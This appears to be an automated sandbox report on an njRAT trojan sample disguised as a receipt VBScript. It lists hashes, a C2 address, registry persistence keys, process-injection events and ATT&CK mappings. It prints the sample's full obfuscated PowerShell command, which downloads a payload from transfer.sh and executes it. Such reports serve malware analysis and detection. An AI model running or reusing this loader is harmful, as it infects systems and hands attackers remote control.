njrat | 2f70c208c08b5607dda4932a3d29625a52d84aa66c916ce8a867a0c2c57ffc5b

General

Target

Receipt_12203.vbs
Size

1KB
MD5

aa2957c1912b583d18c3fad0a1dbe455
SHA1

4b2ae1f0381d72b3833ab341cc3862b540359c64
SHA256

2f70c208c08b5607dda4932a3d29625a52d84aa66c916ce8a867a0c2c57ffc5b
SHA512

668b3c2be0f926e314bd5b810f79d0b7eac4fcd760108629cfff334c5f5dc0d66ea95f5d04fd47d09b4d910d1dfda1b1a405c008b3be24f420a4155371113a7a

Score

10^/10

njrat dav008 persistence suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://transfer.sh/get/dIj4XJ/bypass.txt

Extracted

Family

njrat

Version

v4.0

Botnet

DAV008

C2

51.103.75.40:53011

Mutex

Windows

Attributes

reg_key
Windows
splitter
|-F-|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 1684 powershell.exe

flow	pid	process
9	1684	powershell.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

aspnet_compiler.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows2 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows2 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Windows.URL"	aspnet_compiler.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1684 set thread context of 2200 1684 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1684 powershell.exe
1684 powershell.exe
1684 powershell.exe

description	pid	process	target process
PID 1684 set thread context of 2200	1684	powershell.exe	aspnet_compiler.exe

pid	process
1684	powershell.exe
1684	powershell.exe
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe
Token: 33	2200	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	2200	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 568 wrote to memory of 1684	568	WScript.exe	powershell.exe
PID 568 wrote to memory of 1684	568	WScript.exe	powershell.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe
PID 1684 wrote to memory of 2200	1684	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt_12203.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://transferXXXsh/get/dIj4XJ/bypassXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:2200

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1684-114-0x0000000000000000-mapping.dmp

Download
memory/1684-119-0x0000018B28EC0000-0x0000018B28EC1000-memory.dmp

Filesize
4KB

Download
memory/1684-123-0x0000018B41F90000-0x0000018B41F91000-memory.dmp

Filesize
4KB

Download
memory/1684-124-0x0000018B28EB0000-0x0000018B28EB2000-memory.dmp

Filesize
8KB

Download
memory/1684-125-0x0000018B28EB3000-0x0000018B28EB5000-memory.dmp

Filesize
8KB

Download
memory/1684-130-0x0000018B28EB6000-0x0000018B28EB8000-memory.dmp

Filesize
8KB

Download
memory/1684-141-0x0000018B28EB8000-0x0000018B28EB9000-memory.dmp

Filesize
4KB

Download
memory/1684-152-0x0000018B41F50000-0x0000018B41F54000-memory.dmp

Filesize
16KB

Download
memory/2200-153-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2200-154-0x000000000040836E-mapping.dmp

Download
memory/2200-162-0x0000000004D50000-0x0000000004D51000-memory.dmp

Filesize
4KB

Download
memory/2200-163-0x0000000005900000-0x0000000005901000-memory.dmp

Filesize
4KB

Download
memory/2200-164-0x00000000053F0000-0x00000000053F1000-memory.dmp

Filesize
4KB

Download
memory/2200-165-0x0000000005400000-0x0000000005401000-memory.dmp

Filesize
4KB

Download
memory/2200-166-0x00000000053A0000-0x00000000053A1000-memory.dmp

Filesize
4KB

Download
memory/2200-167-0x00000000055D0000-0x00000000055D1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads